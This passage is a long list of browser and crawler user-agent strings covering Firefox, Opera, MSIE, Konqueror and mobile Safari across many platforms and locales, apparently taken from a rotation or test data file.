Ubuntu/9.04 (jaunty) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.14) Gecko/2009090216 Ubuntu/8.04 (hardy) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.19) Gecko/2010051407 CentOS/3.0.19-1.el5.centos Firefox/3.0.19 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5.3pre -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5.5 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1.1 Firefox/3.5.9 GTB7.0 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.3) Gecko/20100403 Fedora/3.6.3-4.fc13 Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9) Gecko/2008061017 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.1) Gecko/2008071717 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.14) Gecko/2009090216 Ubuntu/8.04 (hardy) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.3) Gecko/2008092813 Gentoo Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.9) Gecko/20100330 Fedora/3.5.9-2.fc12 Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.9) Gecko/20100402 Ubuntu/9.10 (karmic) Firefox/3.5.9 (.NET CLR 3.5.30729) -Mozilla/5.0 (X11; U; Linux x86_64; ja; rv:1.9.1.4) Gecko/20091016 SUSE/3.5.4-1.1.2 Firefox/3.5.4 -Mozilla/5.0 (X11; U; Linux x86_64; ko-KR; rv:1.9.0.1) Gecko/2008071717 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; nb-NO; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.2 Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9) Gecko/2008060309 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Ubuntu (hardy) Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Ubuntu/hardy Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.5) Gecko/2008121623 Ubuntu/8.10 (intrepid) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; pl; rv:1.9.1.2) Gecko/20090911 Slackware Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9b5) Gecko/2008041515 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14 (.NET CLR 3.5.30729) -Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.2.11) Gecko/20101028 CentOS/3.6-2.el5.centos Firefox/3.6.11 -Mozilla/5.0 (X11; U; Linux x86_64; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; rv:1.9.1.1) Gecko/20090716 Linux Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86_64; sv-SE; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux x86_64; zh-TW; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux x86_64; zh-TW; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.04 (hardy) Firefox/3.0.8 GTB5 -Mozilla/5.0 (X11; U; Linux; en-US; rv:1.9.1.11) Gecko/20100720 Firefox/3.5.11 -Mozilla/5.0 (X11; U; Linux; fr; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Mac OSX; it; rv:1.9.0.7) Gecko/2009030422 Firefox/3.0.7 -Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.9.2.12) Gecko/20101030 Firefox/3.6.12 -Mozilla/5.0 (X11; U; OpenBSD amd64; en-US; rv:1.9.0.1) Gecko/2008081402 Firefox/3.0.1 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.359.0 Safari/533.3 -Mozilla/5.0 (X11; U; Slackware Linux i686; en-US; rv:1.9.0.10) Gecko/2009042315 Firefox/3.0.10 -Mozilla/5.0 (X11; U; Slackware Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.30 Safari/532.5 -Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.9.0.4) Gecko/2008111710 Firefox/3.0.4 -Mozilla/5.0 (X11; U; SunOS i86pc; fr; rv:1.9.0.4) Gecko/2008111710 Firefox/3.0.4 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.0.1) Gecko/20020920 Netscape/7.0 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (X11; U; SunOS sun4u; it-IT; ) Gecko/20080000 Firefox/3.0 -Mozilla/5.0 (X11; U; Windows NT 5.0; en-US; rv:1.9b4) Gecko/2008030318 Firefox/3.0b4 -Mozilla/5.0 (X11; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 -Mozilla/5.0 (X11; U; Windows NT 6; en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.587.0 Safari/534.12 -Mozilla/5.0 (X11; U; x86_64 Linux; en_US; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5 -Mozilla/5.0 (X11;U; Linux i686; en-GB; rv:1.9.1) Gecko/20090624 Ubuntu/9.04 (jaunty) Firefox/3.5 -Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515) -Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR) -Mozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.2 (like Gecko) -Mozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.15-1.2054_FC5; X11; i686; en_US) KHTML/3.5.4 (like Gecko) -Mozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.16-2-k7) KHTML/3.5.0 (like Gecko) (Debian package 4:3.5.0-2bpo2) -Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Debian) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.0; Trident/4.0; FBSMTWB; .NET CLR 2.0.34861; .NET CLR 3.0.3746.3218; .NET CLR 3.5.33652; msn OptimizedIE8;ENUS) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; en-US) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; fr-FR) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 3.0.04506.30) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; Media Center PC 4.0; SLCC1; .NET CLR 3.0.04320) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; InfoPath.3; MS-RTC LM 8; .NET4.0C; .NET4.0E) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0 -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; Tablet PC 2.0; InfoPath.3; .NET4.0C; .NET4.0E) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0) -Mozilla/5.0 (compatible; Yahoo! Slurp;http://help.yahoo.com/help/us/ysearch/slurp) -Mozilla/5.0 (compatible; googlebot/2.1; +http://www.google.com/bot.html) -Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.1021.10gin_lib.cc -Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; es-es) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B360 Safari/531.21.10 -Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; es-es) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 -Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; ja-jp) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5 -Mozilla/5.0 (iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 -Mozilla/5.0 (iPhone Simulator; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7D11 Safari/531.21.10 -Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10 -Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8B117 Safari/6531.22.7 -Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8B5097d Safari/6531.22.7 -Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; da-dk) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5 -Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; de-de) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5 -Mozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 -Mozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 -Mozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.60 Safari/534.30 -Mozilla/5.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.13) Firefox/3.6.13 -Mozilla/5.0(Windows; U; Windows NT 5.2; rv:1.9.2) Gecko/20100101 Firefox/3.6 -Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10 -Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc -Mozilla/6.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:2.0.0.0) Gecko/20061028 Firefox/3.0 -Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US) Gecko/2009032609 (KHTML, like Gecko) Chrome/2.0.172.6 Safari/530.7 -Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US) Gecko/2009032609 Chrome/2.0.172.6 Safari/530.7 -Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 -Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) -Mozilla/6.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 -Mozilla/6.0 (Windows; U; Windows NT 7.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.9 (.NET CLR 3.5.30729) -Opera 9.4 (Windows NT 5.3; U; en) -Opera 9.4 (Windows NT 6.1; U; en) -Opera 9.7 (Windows NT 5.2; U; en) -Opera/10.50 (Windows NT 6.1; U; en-GB) Presto/2.2.2 -Opera/10.60 (Windows NT 5.1; U; en-US) Presto/2.6.30 Version/10.60 -Opera/10.60 (Windows NT 5.1; U; zh-cn) Presto/2.6.30 Version/10.60 -Opera/2.0.3920 (J2ME/MIDP; Opera Mini; en; U; ssr) -Opera/7.23 (Windows 98; U) [en] -Opera/8.0 (X11; Linux i686; U; cs) -Opera/8.00 (Windows NT 5.1; U; en) -Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4062; en; U; ssr) -Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4509/1316; fi; U; ssr) -Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4719; en; U; ssr) -Opera/8.02 (Qt embedded; Linux armv4ll; U) [en] SONY/COM1 -Opera/8.02 (Windows NT 5.1; U; en) -Opera/8.5 (X11; Linux i686; U; cs) -Opera/8.50 (Windows NT 5.1; U; en) -Opera/8.51 (Windows NT 5.1; U; en) -Opera/9.0 (Windows NT 5.0; U; en) -Opera/9.00 (Macintosh; PPC Mac OS X; U; en) -Opera/9.00 (Wii; U; ; 1038-58; Wii Shop Channel/1.0; en) -Opera/9.00 (Windows NT 5.1; U; en) -Opera/9.00 (Windows NT 5.2; U; en) -Opera/9.00 (Windows NT 6.0; U; en) -Opera/9.01 (X11; Linux i686; U; en) -Opera/9.02 (Windows NT 5.1; U; en) -Opera/9.10 (Windows NT 5.1; U; MEGAUPLOAD 1.0; pl) -Opera/9.10 (Windows NT 5.1; U; es-es) -Opera/9.10 (Windows NT 5.1; U; fi) -Opera/9.10 (Windows NT 5.1; U; hu) -Opera/9.10 (Windows NT 5.1; U; it) -Opera/9.10 (Windows NT 5.1; U; nl) -Opera/9.10 (Windows NT 5.1; U; pl) -Opera/9.10 (Windows NT 5.1; U; pt) -Opera/9.10 (Windows NT 5.1; U; sv) -Opera/9.10 (Windows NT 5.1; U; zh-tw) -Opera/9.10 (Windows NT 5.2; U; de) -Opera/9.10 (Windows NT 5.2; U; en) -Opera/9.10 (Windows NT 6.0; U; en) -Opera/9.10 (Windows NT 6.0; U; it-IT) -Opera/9.10 (X11; Linux i386; U; en) -Opera/9.10 (X11; Linux i686; U; en) -Opera/9.10 (X11; Linux i686; U; kubuntu;pl) -Opera/9.10 (X11; Linux i686; U; pl) -Opera/9.10 (X11; Linux x86_64; U; en) -Opera/9.10 (X11; Linux; U; en) -Opera/9.12 (Windows NT 5.0; U) -Opera/9.12 (Windows NT 5.0; U; ru) -Opera/9.12 (X11; Linux i686; U; en) (Ubuntu) -Opera/9.20 (Windows NT 5.1; U; MEGAUPLOAD=1.0; es-es) -Opera/9.20 (Windows NT 5.1; U; en) -Opera/9.20 (Windows NT 5.1; U; es-AR) -Opera/9.20 (Windows NT 5.1; U; es-es) -Opera/9.20 (Windows NT 5.1; U; it) -Opera/9.20 (Windows NT 5.1; U; nb) -Opera/9.20 (Windows NT 5.1; U; zh-tw) -Opera/9.20 (Windows NT 5.2; U; en) -Opera/9.20 (Windows NT 6.0; U; de) -Opera/9.20 (Windows NT 6.0; U; en) -Opera/9.20 (Windows NT 6.0; U; es-es) -Opera/9.20 (X11; Linux i586; U; en) -Opera/9.20 (X11; Linux i686; U; en) -Opera/9.20 (X11; Linux i686; U; es-es) -Opera/9.20 (X11; Linux i686; U; pl) -Opera/9.20 (X11; Linux i686; U; ru) -Opera/9.20 (X11; Linux i686; U; tr) -Opera/9.20 (X11; Linux ppc; U; en) -Opera/9.20 (X11; Linux x86_64; U; en) -Opera/9.20(Windows NT 5.1; U; en) -Opera/9.21 (Macintosh; Intel Mac OS X; U; en) -Opera/9.21 (Macintosh; PPC Mac OS X; U; en) -Opera/9.21 (Windows 98; U; en) -Opera/9.21 (Windows NT 5.0; U; de) -Opera/9.21 (Windows NT 5.1; U; MEGAUPLOAD 1.0; en) -Opera/9.21 (Windows NT 5.1; U; SV1; MEGAUPLOAD 1.0; ru) -Opera/9.21 (Windows NT 5.1; U; de) -Opera/9.21 (Windows NT 5.1; U; en) -Opera/9.21 (Windows NT 5.1; U; fr) -Opera/9.21 (Windows NT 5.1; U; nl) -Opera/9.21 (Windows NT 5.1; U; pl) -Opera/9.21 (Windows NT 5.1; U; pt-br) -Opera/9.21 (Windows NT 5.1; U; ru) -Opera/9.21 (Windows NT 5.2; U; en) -Opera/9.21 (Windows NT 6.0; U; en) -Opera/9.21 (Windows NT 6.0; U; nb) -Opera/9.21 (X11; Linux i686; U; de) -Opera/9.21 (X11; Linux i686; U; en) -Opera/9.21 (X11; Linux i686; U; es-es) -Opera/9.21 (X11; Linux x86_64; U; en) -Opera/9.22 (Windows NT 5.1; U; SV1; MEGAUPLOAD 1.0; ru) -Opera/9.22 (Windows NT 5.1; U; SV1; MEGAUPLOAD 2.0; ru) -Opera/9.22 (Windows NT 5.1; U; en) -Opera/9.22 (Windows NT 5.1; U; fr) -Opera/9.22 (Windows NT 5.1; U; pl) -Opera/9.22 (Windows NT 6.0; U; en) -Opera/9.22 (Windows NT 6.0; U; ru) -Opera/9.22 (X11; Linux i686; U; de) -Opera/9.22 (X11; Linux i686; U; en) -Opera/9.22 (X11; OpenBSD i386; U; en) -Opera/9.23 (Mac OS X; fr) -Opera/9.23 (Mac OS X; ru) -Opera/9.23 (Macintosh; Intel Mac OS X; U; ja) -Opera/9.23 (Nintendo Wii; U; ; 1038-58; Wii Internet Channel/1.0; en) -Opera/9.23 (Windows NT 5.0; U; de) -Opera/9.23 (Windows NT 5.0; U; en) -Opera/9.23 (Windows NT 5.1; U; SV1; MEGAUPLOAD 1.0; ru) -Opera/9.23 (Windows NT 5.1; U; da) -Opera/9.23 (Windows NT 5.1; U; de) -Opera/9.23 (Windows NT 5.1; U; en) -Opera/9.23 (Windows NT 5.1; U; fi) -Opera/9.23 (Windows NT 5.1; U; it) -Opera/9.23 (Windows NT 5.1; U; ja) -Opera/9.23 (Windows NT 5.1; U; pt) -Opera/9.23 (Windows NT 5.1; U; zh-cn) -Opera/9.23 (Windows NT 6.0; U; de) -Opera/9.23 (X11; Linux i686; U; en) -Opera/9.23 (X11; Linux i686; U; es-es) -Opera/9.23 (X11; Linux x86_64; U; en) -Opera/9.24 (Macintosh; PPC Mac OS X; U; en) -Opera/9.24 (Windows NT 5.0; U; ru) -Opera/9.24 (Windows NT 5.1; U; ru) -Opera/9.24 (Windows NT 5.1; U; tr) -Opera/9.24 (X11; Linux i686; U; de) -Opera/9.24 (X11; SunOS i86pc; U; en) -Opera/9.25 (Macintosh; Intel Mac OS X; U; en) -Opera/9.25 (Macintosh; PPC Mac OS X; U; en) -Opera/9.25 (OpenSolaris; U; en) -Opera/9.25 (Windows NT 4.0; U; en) -Opera/9.25 (Windows NT 5.0; U; cs) -Opera/9.25 (Windows NT 5.0; U; en) -Opera/9.25 (Windows NT 5.1; U; MEGAUPLOAD 1.0; pt-br) -Opera/9.25 (Windows NT 5.1; U; de) -Opera/9.25 (Windows NT 5.1; U; lt) -Opera/9.25 (Windows NT 5.1; U; ru) -Opera/9.25 (Windows NT 5.1; U; zh-cn) -Opera/9.25 (Windows NT 5.2; U; en) -Opera/9.25 (Windows NT 6.0; U; MEGAUPLOAD 1.0; ru) -Opera/9.25 (Windows NT 6.0; U; SV1; MEGAUPLOAD 2.0; ru) -Opera/9.25 (Windows NT 6.0; U; en-US) -Opera/9.25 (Windows NT 6.0; U; ru) -Opera/9.25 (Windows NT 6.0; U; sv) -Opera/9.25 (X11; Linux i686; U; en) -Opera/9.25 (X11; Linux i686; U; fr) -Opera/9.25 (X11; Linux i686; U; fr-ca) -Opera/9.26 (Macintosh; PPC Mac OS X; U; en) -Opera/9.26 (Windows NT 5.1; U; MEGAUPLOAD 2.0; en) -Opera/9.26 (Windows NT 5.1; U; de) -Opera/9.26 (Windows NT 5.1; U; nl) -Opera/9.26 (Windows NT 5.1; U; pl) -Opera/9.26 (Windows NT 5.1; U; zh-cn) -Opera/9.27 (Macintosh; Intel Mac OS X; U; sv) -Opera/9.27 (Windows NT 5.1; U; ja) -Opera/9.27 (Windows NT 5.2; U; en) -Opera/9.27 (X11; Linux i686; U; en) -Opera/9.27 (X11; Linux i686; U; fr) -Opera/9.30 (Nintendo Wii; U; ; 2047-7; de) -Opera/9.30 (Nintendo Wii; U; ; 2047-7; fr) -Opera/9.30 (Nintendo Wii; U; ; 2047-7;en) -Opera/9.30 (Nintendo Wii; U; ; 2047-7;es) -Opera/9.30 (Nintendo Wii; U; ; 2047-7;pt-br) -Opera/9.30 (Nintendo Wii; U; ; 2071; Wii Shop Channel/1.0; en) -Opera/9.5 (Windows NT 5.1; U; fr) -Opera/9.5 (Windows NT 6.0; U; en) -Opera/9.50 (Macintosh; Intel Mac OS X; U; de) -Opera/9.50 (Macintosh; Intel Mac OS X; U; en) -Opera/9.50 (Windows NT 5.1; U; es-ES) -Opera/9.50 (Windows NT 5.1; U; it) -Opera/9.50 (Windows NT 5.1; U; nl) -Opera/9.50 (Windows NT 5.1; U; nn) -Opera/9.50 (Windows NT 5.1; U; ru) -Opera/9.50 (Windows NT 5.2; U; it) -Opera/9.50 (X11; Linux i686; U; es-ES) -Opera/9.50 (X11; Linux ppc; U; en) -Opera/9.50 (X11; Linux x86_64; U; nb) -Opera/9.50 (X11; Linux x86_64; U; pl) -Opera/9.51 (Macintosh; Intel Mac OS X; U; en) -Opera/9.51 (Windows NT 5.1; U; da) -Opera/9.51 (Windows NT 5.1; U; en) -Opera/9.51 (Windows NT 5.1; U; en-GB) -Opera/9.51 (Windows NT 5.1; U; es-AR) -Opera/9.51 (Windows NT 5.1; U; es-LA) -Opera/9.51 (Windows NT 5.1; U; fr) -Opera/9.51 (Windows NT 5.1; U; nn) -Opera/9.51 (Windows NT 5.2; U; en) -Opera/9.51 (Windows NT 6.0; U; en) -Opera/9.51 (Windows NT 6.0; U; es) -Opera/9.51 (Windows NT 6.0; U; sv) -Opera/9.51 (X11; Linux i686; U; Linux Mint; en) -Opera/9.51 (X11; Linux i686; U; de) -Opera/9.51 (X11; Linux i686; U; fr) -Opera/9.52 (Macintosh; Intel Mac OS X; U; pt) -Opera/9.52 (Macintosh; Intel Mac OS X; U; pt-BR) -Opera/9.52 (Macintosh; PPC Mac OS X; U; fr) -Opera/9.52 (Macintosh; PPC Mac OS X; U; ja) -Opera/9.52 (Windows NT 5.0; U; en) -Opera/9.52 (Windows NT 5.2; U; ru) -Opera/9.52 (Windows NT 6.0; U; Opera/9.52 (X11; Linux x86_64; U); en) -Opera/9.52 (Windows NT 6.0; U; de) -Opera/9.52 (Windows NT 6.0; U; en) -Opera/9.52 (Windows NT 6.0; U; fr) -Opera/9.52 (X11; Linux i686; U; cs) -Opera/9.52 (X11; Linux i686; U; en) -Opera/9.52 (X11; Linux i686; U; fr) -Opera/9.52 (X11; Linux ppc; U; de) -Opera/9.52 (X11; Linux x86_64; U) -Opera/9.52 (X11; Linux x86_64; U; en) -Opera/9.52 (X11; Linux x86_64; U; ru) -Opera/9.60 (Windows NT 5.0; U; en) Presto/2.1.1 -Opera/9.60 (Windows NT 5.1; U; en-GB) Presto/2.1.1 -Opera/9.60 (Windows NT 5.1; U; es-ES) Presto/2.1.1 -Opera/9.60 (Windows NT 5.1; U; sv) Presto/2.1.1 -Opera/9.60 (Windows NT 5.1; U; tr) Presto/2.1.1 -Opera/9.60 (Windows NT 6.0; U; bg) Presto/2.1.1 -Opera/9.60 (Windows NT 6.0; U; de) Presto/2.1.1 -Opera/9.60 (Windows NT 6.0; U; pl) Presto/2.1.1 -Opera/9.60 (Windows NT 6.0; U; ru) Presto/2.1.1 -Opera/9.60 (Windows NT 6.0; U; uk) Presto/2.1.1 -Opera/9.60 (X11; Linux i686; U; en-GB) Presto/2.1.1 -Opera/9.60 (X11; Linux i686; U; ru) Presto/2.1.1 -Opera/9.60 (X11; Linux x86_64; U) -Opera/9.61 (Macintosh; Intel Mac OS X; U; de) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; cs) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; de) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; en) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; en-GB) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; fr) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; ru) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; zh-cn) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; zh-tw) Presto/2.1.1 -Opera/9.61 (Windows NT 5.2; U; en) Presto/2.1.1 -Opera/9.61 (Windows NT 6.0; U; en) Presto/2.1.1 